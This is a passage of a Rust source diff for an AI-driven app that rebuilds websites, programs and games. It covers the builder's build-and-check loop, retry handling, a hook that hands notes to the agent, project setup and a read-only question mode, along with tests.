ws.manifest.agent_session.is_some()); + self.step(ws, Step::Build, Status::Building, "Getting the builder ready…")?; + let spec = self.agent_spec(ws, &entry, opts); + let mut agent: Box = match api { + Some(a) => Box::new(a), + None => crate::cli_agents::builder_conversation(spec, self.approver(ws)), + }; + // The builder's tool server is started in this run's mode (`--deep` or `--clean-room`). + let s = self.engine.session(); + let (deep, ghidra) = (!s.clean_room(), s.settings.ghidra_launcher().is_some()); + let image_model = s.settings.assets.image_model.clone(); + drop(s); + let cx = BriefCx { ws, deep, ghidra, editor: self.editor.as_deref(), assets: self.assets, image_model: image_model.as_deref() }; + // The project's settings as they are now, for an agent that carries on its session. + let now = || kind.follow_up_sections(&cx).iter().map(|s| format!("\n\n{s}")).collect::() + &pictures_reminder(ws); + let mut prompt = match &opts.message { + // An agent with a saved session gets the follow-up; one without (an API loop) starts + // from the brief with the request added. + Some(m) if !first && resumable => follow_up(m, kind) + &now(), + // Carrying on after a stop: the same, told to finish what it was doing. + None if carrying_on && !first && has_history => continue_prompt(kind) + &now(), + _ => { + let b = brief(kind, &cx, opts.message.as_deref()); + if api_loop { format!("{API_BUILDER}\n\n{b}") } else { b } + } + }; + // The extraction step left the original's files in app/Original/: the builder starts from them. + if first && ws.app_dir().join(ORIGINALS_MANIFEST).is_file() { + prompt.push_str(ORIGINALS_READY); + } + let mut round = ws.manifest.checks.iter().map(|c| c.round).max().unwrap_or(0); + let mut refinements = 0; + // Deep mode on a program: decompiling is required, so a build turn without any gets one reminder. + let must_decompile = !self.engine.session().clean_room() && matches!(ws.manifest.target, TargetRef::Local { .. }); + let mut reminded = false; + // The builder finished and only the check didn't: the build is there to check. + let mut only_check = carrying_on && !first && opts.message.is_none() && ws.manifest.awaiting_check; + loop { + if !std::mem::take(&mut only_check) { + let doing = match (round, carrying_on) { + (0, false) => "Building the first version…", + (0, true) => "Carrying on with the build…", + _ => "Improving the build…", + }; + self.step(ws, Step::Build, Status::Building, doing)?; + ws.manifest.awaiting_check = false; + let reply = self.turn(ws, agent.as_mut(), &prompt)?; + if !reply.trim().is_empty() { + ws.manifest.last_reply = reply.trim().to_string(); + } + // The stack is recorded as the one the build uses, once it shows: left to the builder, + // or another than the default because the request asked for it. A game engine stays + // (it says the project is a game, and its editor is found for it). + if game::Builder::from_stack(&ws.manifest.stack).is_none() + && let Some(s) = stacks::used_in(&ws.app_dir()) + { + ws.manifest.stack = s.name.clone(); + } + ws.manifest.awaiting_check = true; + ws.save()?; + // What the person added while the agent worked goes in before anything else. + if let Some(p) = self.added(ws) { + prompt = p; + continue; + } + if must_decompile && !self.decompiled && !reminded { + reminded = true; + prompt = DECOMPILE_FIRST.to_string(); + continue; + } + } + round += 1; + self.step(ws, Step::Check, Status::Checking, "Checking the build against the original…")?; + let checks = self.checks_with_a_retry(ws, kind, round)?; + ws.manifest.checks.extend(checks.iter().cloned()); + ws.manifest.awaiting_check = false; + ws.save()?; + for c in &checks { + self.emit(RunEvent::Checked(c.clone())); + } + let not_good = checks.iter().find(|c| !c.good(opts.good_enough)); + if let Some(p) = self.added(ws) { + prompt = p; + continue; + } + let Some(check) = not_good else { break }; + if refinements >= opts.max_rounds { + break; + } + refinements += 1; + prompt = kind.refine(check) + &pictures_reminder(ws); + if !api_loop { + prompt.push_str(CHECK_BEFORE_REPLYING); + } + } + if let Some(url) = self.preview.lock().unwrap_or_else(PoisonError::into_inner).as_ref().map(StaticServer::url) { + self.emit(RunEvent::Preview(url)); + } + let last = ws.manifest.checks.last().cloned(); + // A site that builds but isn't close enough is still usable; no working build is not. + let usable = last.as_ref().is_some_and(|c| c.passed); + if !usable { + let why = last.map(|c| c.note).unwrap_or_default(); + return Err(ToolError::new(ErrorCode::ProgramFailed, format!("The build isn't working yet. {why}").trim().to_string()) + .with_remediation("Ask for a fix in the box below, or press Try again.")); + } + let last = ws.manifest.checks.last().cloned(); + // The last round's checks, all of them: the last one alone (say a mechanics sheet) isn't the verdict. + let last_round: Vec = last.map(|l| ws.manifest.checks.iter().filter(|c| c.round == l.round).cloned().collect()).unwrap_or_default(); + let mut summary = if last_round.is_empty() { "Ready.".to_string() } else { format!("Ready: {}.", self_check::summary(&last_round, opts.good_enough)) }; + // What the builder couldn't find out is said, not hidden. + match self_check::open_questions(ws).len() { + 0 => {} + 1 => summary.push_str(" 1 question about the original is still open."), + n => summary.push_str(&format!(" {n} questions about the original are still open.")), + } + ws.set_status(Status::Ready, summary.clone())?; + self.emit(RunEvent::Step { step: Step::Done, text: summary.clone() }); + Ok(summary) + } + + /// One builder turn. Its session is kept even when the turn fails, so nothing is lost; a turn + /// cut short (a time limit, a crash, a dropped connection) is picked up where it stopped, up to + /// three times. Problems only the person can fix (sign-in, credit, a missing app) end the run. + /// Deep mode on a game: the chosen extractor takes the game's own files out into app/Original/ + /// before the build (the person owns the game and chose this; nothing is decrypted). + fn extract(&mut self, ws: &mut Workspace, kind: &dyn kinds::TargetKind, name: &str, mut ex: crate::agent::ApiConversation) -> Result<(), ToolError> { + let TargetRef::Local { path } = ws.manifest.target.clone() else { return Ok(()) }; + if kind.id() != kinds::GameKind::ID || self.engine.session().clean_room() { + return Ok(()); + } + let folder = locate::game_folder(&path).unwrap_or(path); + self.step(ws, Step::Study, Status::Inspecting, &format!("{name} is taking the game's own files out…"))?; + std::fs::create_dir_all(ws.app_dir().join("Original")).map_err(|e| ToolError::io(ws.app_dir().display(), e))?; + // A failed extraction doesn't stop the build: it says why, and the builder uses what's there. + match self.converse(ws, &mut ex, &extract_brief(&folder)) { + Err(e) if e.code == ErrorCode::Cancelled => Err(e), + Err(e) => { + let why = e.message.chars().take(200).collect::(); + self.step(ws, Step::Study, Status::Inspecting, &format!("{name} couldn't finish taking the files out ({why}). Building with what's there.")) + } + Ok(_) => Ok(()), + } + } + + /// The round's checks. A check that fails says what's wrong with the build; one that returns + /// an error couldn't look at all (a browser that went away), which says nothing about the + /// build, so it gets a second go before the run stops, and the run says what is really wrong. + fn checks_with_a_retry(&self, ws: &Workspace, kind: &dyn kinds::TargetKind, round: u32) -> Result, ToolError> { + let e = match self.run_checks(ws, kind, round) { + Err(e) if e.code != ErrorCode::Cancelled => e, + done => return done, + }; + self.emit(RunEvent::Agent(AgentEvent::Status { text: format!("The check couldn't finish ({}). Trying it once more…", e.message) })); + self.run_checks(ws, kind, round).map_err(|e| { + if e.code == ErrorCode::Cancelled { + return e; + } + ToolError::new(e.code, format!("The build is finished, but it couldn't be checked: {}", e.message)) + .with_remediation("Press Try again to check it again. Nothing needs building again.") + }) + } + + fn turn(&mut self, ws: &mut Workspace, agent: &mut dyn Conversation, prompt: &str) -> Result { + let mut prompt = prompt.to_string(); + let mut tries = 0u64; + loop { + let result = self.converse(ws, agent, &prompt); + if let Some(id) = agent.session_id() { + ws.manifest.agent_session = Some(id); + ws.save()?; + } + match result { + Err(e) if e.code != ErrorCode::Cancelled && tries < 3 && agent.session_id().is_some() && worth_retrying(&e.message) => { + tries += 1; + let why = e.message.chars().take(160).collect::(); + // A service that says how long to wait is waited for; otherwise a dropped + // connection or a busy service gets a moment, longer each time. + let wait = match retry_after(&e.message) { + Some(secs) => { + let note = format!("The AI service is busy or its rate limit was reached, and asked to wait {secs} s. Trying again then…"); + self.step(ws, Step::Build, Status::Building, ¬e)?; + secs + 1 + } + None => { + self.step(ws, Step::Build, Status::Building, &format!("The builder stopped ({why}). Picking up where it left off…"))?; + 30 * tries + } + }; + for _ in 0..wait { + self.stop.check()?; + std::thread::sleep(Duration::from_secs(1)); + } + prompt = format!( + "Your last turn was cut off ({why}). Carry on from where you stopped: look at what's already in app/ and your checklist, then finish the task." + ); + } + r => return r, + } + } + } + + /// Send one message and pump the agent until its turn ends, relaying events and inbox + /// requests. Returns the agent's reply text. + fn converse(&mut self, ws: &mut Workspace, agent: &mut dyn Conversation, text: &str) -> Result { + agent.send(text); + let mut reply = String::new(); + let mut failed = None; + loop { + if self.stop.is_cancelled() { + agent.stop(); + } + for e in agent.poll() { + match &e { + AgentEvent::TextDelta { text } => reply.push_str(text), + // Our own loop asks before tools that need consent. The Build tools are the + // builder's job (they apply the approval policy themselves); nothing else runs. + AgentEvent::ConsentNeeded { call_id, tool, .. } => { + let build = self.engine.registry().get(tool).is_some_and(|s| s.toolset == craft_anything_engine::Toolset::Build); + agent.answer_consent(call_id, build); + } + // Decided on the tool's own id (its CLI and `mcp__…__` names included). + AgentEvent::ToolStarted { tool, .. } + if self.engine.registry().canonical(tool) == Some(craft_anything_engine::tools::native_function::PSEUDOCODE_TOOL) => + { + self.decompiled = true + } + AgentEvent::Error { message, remediation, .. } => failed = Some((message.clone(), remediation.clone())), + _ => {} + } + if let AgentEvent::TurnDone { input_tokens, output_tokens, cost_usd, cost_is_estimate, .. } = &e { + self.record_usage(Some((*input_tokens, *output_tokens, *cost_usd, *cost_is_estimate))); + } + let done = matches!(e, AgentEvent::TurnDone { .. }); + self.emit(RunEvent::Agent(e)); + if done { + self.stop.check()?; + // An agent-level error (sign-in, crash, limits) ends the run: checking a + // build that never happened would only mislead. + if let Some((m, r)) = failed { + return Err(ToolError::new(ErrorCode::ProgramFailed, m).with_remediation(r.unwrap_or_default())); + } + return Ok(reply); + } + } + self.relay_inbox(); + self.relay_read_notes(ws); + self.answer_self_checks(ws)?; + if self.usage.as_ref().is_some_and(|c| c.since.elapsed() >= USAGE_FLUSH) { + self.record_usage(None); + } + std::thread::sleep(Duration::from_millis(120)); + } + } + + /// Notes the builder took at a step of this turn (its hook claimed them): they join the feed + /// now and aren't sent again after the turn. + fn relay_read_notes(&self, ws: &Workspace) { + let dir = notes::notes_dir(&ws.inbox_dir()); + let read: Vec = { + let mut notes = self.notes.lock().unwrap_or_else(PoisonError::into_inner); + let (read, waiting) = std::mem::take(&mut *notes).into_iter().partition(|n| notes::was_read(&dir, n.id)); + *notes = waiting; + read + }; + for n in read { + notes::forget(&dir, n.id); + self.emit(RunEvent::Note(n.shown)); + } + } + + fn relay_inbox(&mut self) { + for r in self.inbox.pending() { + if self.seen.insert(r.id.clone()) { + self.emit(RunEvent::Ask(r)); + } + } + } +} + +/// What an API-backend builder is told first: its tools differ from an agent app's. +const API_BUILDER: &str = "Your tools: build_files_list, build_file_read, build_file_write and build_file_edit for the project's files (paths relative to the project folder, e.g. app/src/main.rs), and build_command_run for commands, which run in app/ (never start dev servers or watchers). Where the steps below mention Read, Write, Edit or Bash, use these. For the checklist step use build_checklist (the same shape as TodoWrite: todos with content, activeForm and status) and call it again as you go. You can't look at pictures: use capture/README.md, capture/capture.json and the evidence instead. Ask the person with core_person_ask only when a choice really changes the result. Other REI Reverse Engineer tools are available too; enable a toolset with enable_toolset when you need it. rebuild_check isn't available in this loop: REI Reverse Engineer checks your build after each turn instead."; + +/// Added to a refinement for a builder that can check its own work. +const CHECK_BEFORE_REPLYING: &str = " Before you reply, check your build again with rebuild_check and fix what it still lists."; + +/// The backend the person chose for this project, while it's still set up and on (else the +/// default builds it). +pub fn project_builder<'a>(cfg: &crate::AiConfig, ws: &'a Workspace) -> Option<&'a str> { + ws.manifest.builder.as_deref().filter(|n| cfg.get(n).is_some_and(|b| b.config.enabled)) +} + +/// The backend that builds: the one named, else the Builder role's, else an agent app, else any +/// enabled AI backend (which builds with our own agent loop and the Build tools). +pub fn builder_backend(cfg: &crate::AiConfig, named: Option<&str>) -> Result { + let found = match named { + Some(n) => cfg.get(n).cloned(), + None => { + cfg.backend_for(Role::Builder).or_else(|| cfg.enabled().find(|b| b.config.kind == BackendKind::AgentCli)).or_else(|| cfg.enabled().next()).cloned() + } + }; + found.ok_or_else(|| { + ToolError::new(ErrorCode::BadSettings, "Building needs a coding agent (such as Claude Code) or an AI backend with an API key.") + .with_remediation("Install a coding agent or add an API key in Settings → AI, then try again.") + }) +} + +/// Whether a failed builder turn is worth resuming, rather than needing the person (sign-in, +/// credit, a missing, broken or too old install). +fn worth_retrying(message: &str) -> bool { + let m = message.to_ascii_lowercase(); + !["sign in", "log in", "login", "logged in", "auth", "credit", "billing", "usage limit", "not installed", "install ", crate::cli_agents::TOO_OLD_FOR_MODEL] + .iter() + .any(|k| m.contains(k)) +} + +/// The longest wait a service's "retry in …" is followed for. +const MAX_RETRY_WAIT: u64 = 15 * 60; + +/// How long a busy or rate-limited service asked to wait ("Please retry in 19.05s", "retry after +/// 2 minutes"), in whole seconds rounded up and at most [`MAX_RETRY_WAIT`] (#142). +fn retry_after(message: &str) -> Option { + let m = message.to_ascii_lowercase(); + let at = ["retry in ", "retry after ", "try again in "].iter().find_map(|p| m.find(p).map(|i| i + p.len()))?; + let rest = m.get(at..)?; + let number: String = rest.chars().take_while(|c| c.is_ascii_digit() || *c == '.').collect(); + let value: f64 = number.parse().ok()?; + let unit = rest.get(number.len()..).unwrap_or_default().trim_start(); + let seconds = if unit.starts_with("ms") || unit.starts_with("millisecond") { + value / 1000.0 + } else if unit.starts_with("min") || (unit.starts_with('m') && !unit.starts_with("ms")) { + value * 60.0 + } else if unit.starts_with('h') { + value * 3600.0 + } else { + value + }; + Some((seconds.ceil().max(1.0) as u64).min(MAX_RETRY_WAIT)) +} diff --git a/desktop/crates/ai/src/rebuild/notes.rs b/desktop/crates/ai/src/rebuild/notes.rs new file mode 100644 index 0000000..12ad87f --- /dev/null +++ b/desktop/crates/ai/src/rebuild/notes.rs @@ -0,0 +1,112 @@ +//! Notes the person adds while the builder works, handed over at the builder's next step instead +//! of after its whole turn. The run writes each one to `inbox/notes/.json`; a coding agent +//! that runs a command after every tool call (Claude Code's PostToolUse hook, running +//! `craft-anything-cli builder-notes `) claims what's there by renaming it to +//! `.read.json` and gives the text to the model; the run sees the rename and shows the note as +//! read. The rename is the one moment a note changes hands, so "take back" works until then. +//! Notes nobody claimed still go in after the turn, as before. + +use std::path::{Path, PathBuf}; + +/// Where a project's notes wait for the builder. +pub fn notes_dir(inbox: &Path) -> PathBuf { + inbox.join("notes") +} + +fn pending(dir: &Path, id: u64) -> PathBuf { + dir.join(format!("{id}.json")) +} + +fn read(dir: &Path, id: u64) -> PathBuf { + dir.join(format!("{id}.read.json")) +} + +/// Leave a note for the builder's next step. +pub fn hand_over(dir: &Path, id: u64, text: &str) -> Result<(), craft_anything_evidence::ToolError> { + std::fs::create_dir_all(dir).map_err(|e| craft_anything_evidence::ToolError::io(dir.display(), e))?; + let bytes = serde_json::to_vec(&serde_json::json!({"id": id, "text": text})).map_err(|e| craft_anything_evidence::ToolError::internal(e.to_string()))?; + craft_anything_engine::project::write_atomic(&pending(dir, id), &bytes) +} + +/// Take a note back before the builder read it: true when it was still waiting. +pub fn take_back(dir: &Path, id: u64) -> bool { + std::fs::remove_file(pending(dir, id)).is_ok() +} + +/// The builder has read the note (it was claimed). +pub fn was_read(dir: &Path, id: u64) -> bool { + read(dir, id).is_file() +} + +/// Done with a note: its files go. +pub fn forget(dir: &Path, id: u64) { + let _ = std::fs::remove_file(pending(dir, id)); + let _ = std::fs::remove_file(read(dir, id)); +} + +/// Start a run with no notes left over from an earlier one (ids restart with the process). +pub fn clear(dir: &Path) { + let _ = std::fs::remove_dir_all(dir); +} + +/// For the agent's hook: claim every waiting note, oldest first, and return their texts. A note +/// another claimer (or "take back") got first is skipped. +pub fn claim(dir: &Path) -> Vec { + let Ok(entries) = std::fs::read_dir(dir) else { return Vec::new() }; + let mut ids: Vec = + entries.flatten().filter_map(|e| e.file_name().to_str().and_then(|n| n.strip_suffix(".json")).and_then(|n| n.parse::().ok())).collect(); + ids.sort_unstable(); + ids.into_iter() + .filter_map(|id| { + let text = std::fs::read(pending(dir, id)).ok().and_then(|b| serde_json::from_slice::(&b).ok())?; + std::fs::rename(pending(dir, id), read(dir, id)).ok()?; + text.get("text").and_then(serde_json::Value::as_str).map(String::from) + }) + .collect() +} + +/// What the hook prints for the agent: the notes as context for its next step, or nothing. +pub fn hook_output(texts: &[String]) -> Option { + if texts.is_empty() { + return None; + } + let list = texts.iter().map(|t| format!("- {t}")).collect::>().join("\n"); + // Stated as facts: the agent reads it as context, not as an order from the tool. + let context = format!( + "The person added this while you were working:\n{list}\nIt applies to the work from here on, and your reply can say how you took it into account." + ); + Some(serde_json::json!({"hookSpecificOutput": {"hookEventName": "PostToolUse", "additionalContext": context}}).to_string()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_note_changes_hands_once_and_can_be_taken_back_until_then() { + let d = tempfile::tempdir().unwrap(); + let dir = notes_dir(d.path()); + assert!(claim(&dir).is_empty(), "no folder, nothing to claim"); + hand_over(&dir, 2, "make the header blue").unwrap(); + hand_over(&dir, 10, "add a contact form").unwrap(); + hand_over(&dir, 3, "never mind the footer").unwrap(); + assert!(take_back(&dir, 3), "still waiting: it can be taken back"); + assert_eq!(claim(&dir), ["make the header blue", "add a contact form"], "oldest first, by number"); + assert!(was_read(&dir, 2) && was_read(&dir, 10) && !was_read(&dir, 3)); + assert!(!take_back(&dir, 2), "read notes can't be taken back"); + assert!(claim(&dir).is_empty(), "each note is handed over once"); + forget(&dir, 2); + assert!(!was_read(&dir, 2)); + clear(&dir); + assert!(!dir.exists()); + } + + #[test] + fn the_hook_hands_the_notes_to_the_model_as_context() { + assert!(hook_output(&[]).is_none(), "nothing printed when nothing waits"); + let out: serde_json::Value = serde_json::from_str(&hook_output(&["make it blue".into()]).unwrap()).unwrap(); + assert_eq!(out["hookSpecificOutput"]["hookEventName"], "PostToolUse"); + let context = out["hookSpecificOutput"]["additionalContext"].as_str().unwrap(); + assert!(context.contains("- make it blue") && context.contains("applies to the work from here on"), "{context}"); + } +} diff --git a/desktop/crates/ai/src/rebuild/output.rs b/desktop/crates/ai/src/rebuild/output.rs new file mode 100644 index 0000000..d3e3ced --- /dev/null +++ b/desktop/crates/ai/src/rebuild/output.rs @@ -0,0 +1,4 @@ +//! What a build produced (the built site, the program, what "Play" starts): `engine::outputs`, +//! shared with the project tools. + +pub use craft_anything_engine::outputs::{built_program, is_program, launch, packaged_program, site_dir}; diff --git a/desktop/crates/ai/src/rebuild/project.rs b/desktop/crates/ai/src/rebuild/project.rs new file mode 100644 index 0000000..7b856f8 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/project.rs @@ -0,0 +1,63 @@ +//! Starting a project from a request: the target, the folder, the stack the person asked for, the +//! asset budget from settings and whether assets may be generated. Shared by the CLI's `rebuild` and the `rebuild_start` tool. + +use super::*; +use craft_anything_engine::Settings; +use craft_anything_engine::workspace::{ExistingFiles, suggest_name}; + +/// Where a new project goes. +#[derive(Debug, Clone, Copy, Default)] +pub enum Place<'a> { + /// A new folder in the projects folder from settings. + #[default] + Projects, + /// A new folder inside this one. + In(&'a Path), + /// This folder itself ([`Workspace::create_at`]), with what its files are if it has any. + At(&'a Path, Option), +} + +/// A stack picked by name for `--build-with` / `build_with` (an engine id or a stack's full name). +pub fn build_with(name: &str) -> Result<&'static stacks::Stack, ToolError> { + stacks::resolve(name).ok_or_else(|| { + let known = stacks::catalogue().iter().map(|s| s.engine.clone().unwrap_or_else(|| s.name.clone())).collect::>().join(", "); + ToolError::invalid(format!("Unknown build-with {name:?}.")).with_remediation(format!("Use one of: {known}.")) + }) +} + +/// A new project for `request` about `target` (a web address, an absolute path, or `-` for none), +/// at `place`, with the stack the person +/// picked (`build_with`), the asset budget from settings, and `generate_assets`: the person lets the +/// builder generate pictures and 3D models. +pub fn new_project( + settings: &Settings, + target: &str, + request: &str, + place: Place, + build_with: Option<&str>, + generate_assets: bool, + builder: Option<&str>, +) -> Result { + let stack = build_with.map(self::build_with).transpose()?; + let target_ref = if target.trim() == "-" { TargetRef::None } else { TargetRef::parse(target) }; + if target_ref == TargetRef::None && target.trim() != "-" { + return Err(ToolError::invalid(format!("{target:?} is neither a web address nor an existing absolute path")) + .with_remediation("Pass https://… for a website, a full path for a program, or - for none.")); + } + let name = suggest_name(request, &target_ref); + let mut ws = match place { + Place::Projects => Workspace::create(&settings.projects_dir(), &name, request, target_ref)?, + Place::In(dir) => Workspace::create(dir, &name, request, target_ref)?, + Place::At(folder, existing) => Workspace::create_at(folder, &name, request, target_ref, existing)?, + }; + if let Some(s) = stack { + ws.manifest.stack = s.name.clone(); + } + let budget = settings.assets.budget(); + ws.set_person(|m| { + m.asset_budget_usd = budget; + m.generate_assets = generate_assets; + m.builder = builder.map(str::to_string); + })?; + Ok(ws) +} diff --git a/desktop/crates/ai/src/rebuild/question.rs b/desktop/crates/ai/src/rebuild/question.rs new file mode 100644 index 0000000..5611ffa --- /dev/null +++ b/desktop/crates/ai/src/rebuild/question.rs @@ -0,0 +1,259 @@ +//! Questions about a build ("Just ask"): "where are the latest files?", "why did it pick +//! Bevy?". They're answered without starting a build or a round, and nothing is changed: +//! +//! - a coding agent that keeps a session (Claude Code) answers from a copy of the builder's own +//! session (`--fork-session`), which isn't kept, with only Read, Glob and Grep (none in Clean +//! room) and no tool server, so the builder's session and files stay as they are; +//! - an AI with an API key answers with our agent loop on a [`ReadOnlyHost`]: the engine's tools +//! that change nothing, pointed at this project in an engine of its own; +//! - any other agent is refused, since it can't be held to reading. +//! +//! Every question carries what the project is and its most recently changed files, so a plain +//! "where is…" is answered even without tools. + +use super::*; +use crate::agent::{EngineHost, LoopConfig, ReadOnlyHost}; +use crate::cli_agents::{CliConversation, CliSpec}; +use craft_anything_engine::Toolset; +use serde::Serialize; +use std::time::{Duration, Instant, SystemTime}; + +/// Longest a question may take. +pub const WAIT: Duration = Duration::from_secs(10 * 60); +/// Longest question. +const MAX_QUESTION: usize = 4000; +/// How many recently changed files the question carries. +const RECENT_FILES: usize = 25; +/// How many files are looked at to find them, and how deep. +const SCAN_FILES: usize = 20_000; +const SCAN_DEPTH: usize = 12; +/// Folders a build makes again, never listed. +const SKIPPED: &[&str] = &["node_modules", "target", ".godot", "Library", "Temp", "obj", ".venv", "__pycache__", ".next", ".turbo", ".git"]; + +const PREAMBLE: &str = "You're answering a question the person asked about the project you built inside REI Reverse Engineer. This isn't a task: answer it and stop. Don't create, change or delete any file, don't run anything, and don't carry on the build; if the answer is that something should change, say what you'd change and that they can ask for it as a change. Answer in plain words for someone who doesn't code, briefly, with full paths when they ask where something is.\n\n"; + +/// How a question was answered. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum AnsweredFrom { + /// A copy of the builder's own session (it remembers the build). + BuildersSession, + /// A fresh conversation, from the project's files and what the question carries. + TheFiles, +} + +/// A question's answer. +#[derive(Debug, Clone, PartialEq, Serialize)] +pub struct Answered { + pub answer: String, + pub from: AnsweredFrom, + /// The AI that answered. + pub backend: String, + pub cost_usd: Option, +} + +/// Answer `question` about `ws` (see the module docs), with the person's `settings` (taken from +/// the caller, which may hold the session: a tool does while it runs, so locking it here would +/// wait forever). Blocks until it's answered, `cancel` is set, or [`WAIT`] passes: call it off +/// the UI thread. +pub fn ask( + hub: &AiHub, + settings: &craft_anything_engine::Settings, + logs: Option, + ws: &Workspace, + question: &str, + cancel: &CancelToken, +) -> Result { + let question = question.trim(); + if question.is_empty() || question.len() > MAX_QUESTION { + return Err(ToolError::invalid(format!("A question is 1 to {MAX_QUESTION} characters."))); + } + let cfg = crate::AiConfig::from_settings(settings); + let entry = builder_backend(&cfg, project_builder(&cfg, ws))?; + let deep = settings.deep_mode; + let (mut conv, from): (Box, AnsweredFrom) = match entry.config.kind { + BackendKind::AgentCli => { + let session = ws.manifest.agent_session.clone(); + let from = if session.is_some() { AnsweredFrom::BuildersSession } else { AnsweredFrom::TheFiles }; + let spec = CliSpec { + question: true, + deep, + logs, + resume: session, + preamble: Some(PREAMBLE.into()), + ..CliSpec::new(entry.config.clone(), entry.options.clone(), false, Some(ws.root.clone())) + }; + (Box::new(CliConversation::new(spec)), from) + } + _ => { + // An engine of its own, pointed at this project, so a build running meanwhile keeps its. + let engine = Arc::new(Engine::new(craft_anything_engine::Session::new(settings.clone()))); + engine.session().ext.insert(Arc::new(InboxDir(ws.inbox_dir()))); + let host = Arc::new(ReadOnlyHost(EngineHost(engine))); + let slot = hub.build_model(&entry)?; + let toolsets = [Toolset::Core, Toolset::Build].into_iter().collect(); + let conv = + crate::agent::ApiConversation::start_with(host, vec![slot], LoopConfig { prices: cfg.prices.clone(), ..LoopConfig::default() }, toolsets)?; + (Box::new(conv), AnsweredFrom::TheFiles) + } + }; + let prompt = match from { + AnsweredFrom::BuildersSession => format!("{}\n\nQuestion: {question}", context(ws)), + AnsweredFrom::TheFiles => format!("{PREAMBLE}{}\n\nQuestion: {question}", context(ws)), + }; + conv.send(&prompt); + let (answer, cost_usd) = collect(conv.as_mut(), cancel, WAIT)?; + // A copy of a session reports the whole session's running cost, not this question's (a + // live run said $22.67 for a few cents of cache reads): say nothing rather than that. + let cost_usd = cost_usd.filter(|_| from != AnsweredFrom::BuildersSession); + Ok(Answered { answer, from, backend: entry.config.name.clone(), cost_usd }) +} + +/// The answer's text and cost, once its turn is done. +fn collect(conv: &mut dyn Conversation, cancel: &CancelToken, wait: Duration) -> Result<(String, Option), ToolError> { + let start = Instant::now(); + let mut text = String::new(); + let mut idle_since: Option = None; + loop { + for e in conv.poll() { + match e { + AgentEvent::TextDelta { text: t } => text.push_str(&t), + AgentEvent::TurnDone { cost_usd, .. } => return Ok((text.trim().to_string(), cost_usd)), + AgentEvent::Error { message, remediation, .. } => { + let e = ToolError::new(ErrorCode::ProgramFailed, message); + return Err(match remediation { + Some(r) => e.with_remediation(r), + None => e, + }); + } + _ => {} + } + } + if cancel.is_cancelled() { + conv.stop(); + return Err(ToolError::new(ErrorCode::Cancelled, "The question was stopped.")); + } + if start.elapsed() > wait { + conv.stop(); + return Err(ToolError::new(ErrorCode::TimedOut, "No answer came in time.").with_remediation("Ask again, or ask something shorter.")); + } + // Finished without saying it was done: whatever it said is the answer. + if conv.is_busy() { + idle_since = None; + } else if idle_since.get_or_insert_with(Instant::now).elapsed() > Duration::from_secs(2) { + if text.trim().is_empty() { + return Err(ToolError::new(ErrorCode::ProgramFailed, "The AI stopped without answering.").with_remediation("Ask again.")); + } + return Ok((text.trim().to_string(), None)); + } + std::thread::sleep(Duration::from_millis(50)); + } +} + +/// What the project is and where its files are, for any question. +fn context(ws: &Workspace) -> String { + let m = &ws.manifest; + let mut s = format!( + "Project: {}\nWhat the person asked for: {}\nProject folder: {}\nThe app's folder: {}\nStatus: {}", + m.name, + m.request, + ws.root.display(), + ws.app_dir().display(), + m.status.label() + ); + if !m.stack.is_empty() { + s.push_str(&format!("\nBuilt with: {}", m.stack)); + } + let recent = recent_files(&ws.app_dir()); + if !recent.is_empty() { + s.push_str("\nMost recently changed files in the app (newest first):"); + for (p, ago) in recent { + s.push_str(&format!("\n- {} ({ago})", p.display())); + } + } + s +} + +/// The most recently changed files under `app`, newest first, with how long ago; what a build +/// makes again (dependencies, compiler output) is left out. +pub fn recent_files(app: &Path) -> Vec<(PathBuf, String)> { + let mut found: Vec<(SystemTime, PathBuf)> = Vec::new(); + let mut stack = vec![(app.to_path_buf(), 0usize)]; + while let Some((dir, depth)) = stack.pop() { + for e in std::fs::read_dir(&dir).into_iter().flatten().flatten() { + if found.len() >= SCAN_FILES { + break; + } + let Ok(kind) = e.file_type() else { continue }; + let name = e.file_name(); + if kind.is_dir() { + if depth < SCAN_DEPTH && !name.to_str().is_some_and(|n| SKIPPED.contains(&n)) { + stack.push((e.path(), depth + 1)); + } + } else if kind.is_file() + && let Ok(at) = e.metadata().and_then(|m| m.modified()) + { + found.push((at, e.path())); + } + } + } + found.sort_by_key(|f| std::cmp::Reverse(f.0)); + let now = SystemTime::now(); + found.into_iter().take(RECENT_FILES).map(|(at, p)| (p, ago(now.duration_since(at).unwrap_or_default()))).collect() +} + +fn ago(d: Duration) -> String { + let s = d.as_secs(); + match s { + 0..60 => "just now".into(), + 60..3600 => format!("{} min ago", s / 60), + 3600..86_400 => format!("{} h ago", s / 3600), + _ => format!("{} days ago", s / 86_400), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_newest_files_come_first_and_build_output_is_left_out() { + let d = tempfile::tempdir().unwrap(); + let app = d.path(); + std::fs::create_dir_all(app.join("src")).unwrap(); + std::fs::create_dir_all(app.join("target/release")).unwrap(); + std::fs::write(app.join("Cargo.toml"), "").unwrap(); + std::thread::sleep(Duration::from_millis(30)); + std::fs::write(app.join("target/release/big.exe"), "").unwrap(); + std::fs::write(app.join("src/main.rs"), "").unwrap(); + let files: Vec = recent_files(app).into_iter().map(|(p, _)| p).collect(); + assert_eq!(files, vec![app.join("src/main.rs"), app.join("Cargo.toml")]); + } + + /// A conversation that says a few words, then reports its turn done. + struct Scripted(Vec); + impl Conversation for Scripted { + fn send(&mut self, _: &str) {} + fn poll(&mut self) -> Vec { + std::mem::take(&mut self.0) + } + fn answer_consent(&mut self, _: &str, _: bool) {} + fn stop(&mut self) {} + fn is_busy(&self) -> bool { + true + } + } + + #[test] + fn an_answer_is_its_words_until_the_turn_ends_and_an_error_is_an_error() { + let words = |t: &str| AgentEvent::TextDelta { text: t.into() }; + let done = AgentEvent::TurnDone { backend: "A".into(), input_tokens: 1, output_tokens: 1, cost_usd: Some(0.02), cost_is_estimate: false }; + let mut ok = Scripted(vec![words("They're in "), words("app/src."), done]); + assert_eq!(collect(&mut ok, &CancelToken::default(), WAIT).unwrap(), ("They're in app/src.".to_string(), Some(0.02))); + let mut bad = Scripted(vec![AgentEvent::Error { message: "not signed in".into(), remediation: Some("Sign in".into()), log: None }]); + let e = collect(&mut bad, &CancelToken::default(), WAIT).unwrap_err(); + assert_eq!((e.message.as_str(), e.remediation.as_deref()), ("not signed in", Some("Sign in"))); + let mut slow = Scripted(Vec::new()); + assert_eq!(collect(&mut slow, &CancelToken::default(), 